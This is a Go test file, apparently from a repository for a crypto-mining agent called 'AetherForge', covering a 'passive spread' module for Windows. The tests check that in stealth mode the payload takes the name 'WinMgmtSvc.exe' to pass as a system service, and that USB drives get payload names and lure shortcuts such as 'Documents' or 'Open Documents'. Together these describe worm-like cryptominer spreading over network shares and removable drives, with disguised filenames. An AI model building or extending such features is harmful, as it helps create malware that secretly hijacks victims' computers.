Files
AetherForge/agent/deploy/passive_spread_windows_test.go
AetherForge feba06e008 Improve portable launch, forge persistence, and operator auth UX.
Persist build extra_files for Build Manager history, print dashboard login on every start, add libp2p for Mesh P2P forge, defer WebSocket until login, and split devrun.bat from LAUNCH.bat with USB deck auto-detection.
2026-05-31 18:56:43 -07:00

52 lines
1.1 KiB
Go

//go:build windows
package deploy
import (
"os"
"path/filepath"
"testing"
"crypto-miner-agent/config"
)
func TestSharePayloadName(t *testing.T) {
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
WorkerName: "worker alpha",
StealthMode: false,
}}
if got := sharePayloadName(cfg); got != "worker-alpha.exe" {
t.Fatalf("got %q", got)
}
cfg.StealthMode = true
if got := sharePayloadName(cfg); got != "WinMgmtSvc.exe" {
t.Fatalf("stealth: got %q", got)
}
}
func TestUsbPayloadNameNonStealth(t *testing.T) {
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
WorkerName: "sync agent",
StealthMode: false,
}}
if got := usbPayloadName(cfg); got != "sync-agent.exe" {
t.Fatalf("got %q", got)
}
}
func TestPickLinkName(t *testing.T) {
root := t.TempDir()
if err := os.Mkdir(filepath.Join(root, "Documents"), 0755); err != nil {
t.Fatal(err)
}
if got := pickLinkName(root); got != "Documents" {
t.Fatalf("got %q want Documents", got)
}
empty := t.TempDir()
if got := pickLinkName(empty); got != "Open Documents" {
t.Fatalf("empty drive: got %q", got)
}
}